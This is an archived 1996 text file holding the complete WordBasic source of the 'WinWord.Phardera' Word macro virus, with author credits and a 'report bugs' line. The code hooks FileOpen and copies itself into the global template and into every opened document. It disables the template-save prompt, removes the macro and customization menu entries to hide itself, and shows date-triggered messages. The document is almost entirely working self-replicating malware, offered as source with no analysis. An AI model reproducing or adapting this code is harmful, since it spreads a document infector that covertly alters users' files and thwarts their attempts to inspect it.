home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / PHARDERA.ZIP / PHARDERA.TXT
Text File  |  1996-07-31  |  2KB  |  106 lines
  1. '----------------- FileOpen macro ---------------------------
  2.  
  3. '* WinWord.Phardera (with encrypt and stealth)
  4. '* Virographer by Phardera [VBB]
  5. '* Last Update: July 10, 96.
  6. '* Dedicated to Dianita DSR and All VBBers
  7. '* This virus was written in the city of Batavia, Indonesia.
  8.  
  9. 'If you found 'bugs' please contact me!
  10.  
  11. Dim Shared Macros$(2)
  12. Dim Shared TotalMacros
  13.  
  14. Sub Main
  15.   On Error Goto Esc
  16.   DisableAutoMacros 1
  17.   InfectGlobal(FileName$())
  18.  
  19.   Dim DlgFO As FileOpen
  20.   GetCurValues DlgFO
  21.   Dialog DlgFO
  22.   FileOpen DlgFO
  23.   InfectDoc(DlgFO.Name)
  24.   FuckIt
  25.  
  26.   Goto DoneFO
  27.  
  28. Esc:
  29.   If Err <> 102 Then
  30.     FileOpen DlgFO
  31.   End If
  32.  
  33. DoneFO:
  34.   Let Err = 0
  35. End Sub
  36.  
  37. Sub InfectGlobal(DocName$)
  38.   On Error Goto Done1
  39.  
  40.   SetMacros
  41.   Let Already = 0
  42.  
  43.   For i = 1 To CountMacros(0, 0)
  44.     For j = 1 To TotalMacros
  45.       If MacroName$(i, 0, 0) = Macros$(j) Then
  46.         Let Already = - 1
  47.       End If
  48.     Next j
  49.   Next i
  50.  
  51.   If Not Already Then
  52.     ToolsOptionsSave .GlobalDotPrompt = 0
  53.     ToolsOptionsGeneral .RecentFiles = 0
  54.     MacroCopy DocName$ + ":FileOpen", "Global:FileOpen", 1
  55.     ToolsCustomizeMenus .Name = "ToolsMacro", .Menu = "Tools", .Remove
  56.     ToolsCustomizeMenus .Name = "ToolsCustomize", .Menu = "Tools", .Remove
  57.     ToolsCustomizeMenus .Name = "FileTemplates", .Menu = "File", .Remove
  58.   End If
  59.  
  60. Done1:
  61.   Let Err = 0
  62. End Sub
  63.  
  64. Sub InfectDoc(DocName$)
  65.   On Error Goto Done2
  66.  
  67.   Dim Dlg As FileSaveAs
  68.   GetCurValues Dlg
  69.   If Dlg.Format = 0 Then Let Dlg.Format = 1
  70.  
  71.   If Dlg.Format = 1 Then
  72.     SetMacros
  73.     Let Already = 0
  74.     For i = 1 To CountMacros(1, 0)
  75.       For j = 1 To TotalMacros
  76.         If MacroName$(i, 1, 0) = Macros$(j) Then
  77.           Let Already = - 1
  78.         End If
  79.       Next j
  80.     Next i
  81.     If Not Already Then
  82.       MacroCopy "Global:FileOpen", DocName$ + ":FileOpen", 1
  83.       FileSaveAs Dlg
  84.     End If
  85.   End If
  86.  
  87. Done2:
  88.   Let Err = 0
  89. End Sub
  90.  
  91. Sub SetMacros
  92.   Let TotalMacros = 4
  93.   Let Macros$(1) = "FileOpen"
  94.   Let Macros$(2) = "ToolsCustomizeMenus"
  95.   Let Macros$(3) = "ToolsOptionsSave"
  96.   Let Macros$(4) = "ToolsOptionsGeneral"
  97. End Sub
  98.  
  99. Sub FuckIt
  100.   If Day(Now()) = 14 Then
  101.     MsgBox "Dianita DSR. [I Love Her!]", "Phardera [VBB]", 64
  102.   ElseIf Day(Now()) = 31 Then
  103.     MsgBox "Phardera was here!", "Phardera [VBB]", 16
  104.   End If    
  105. End Sub
  106.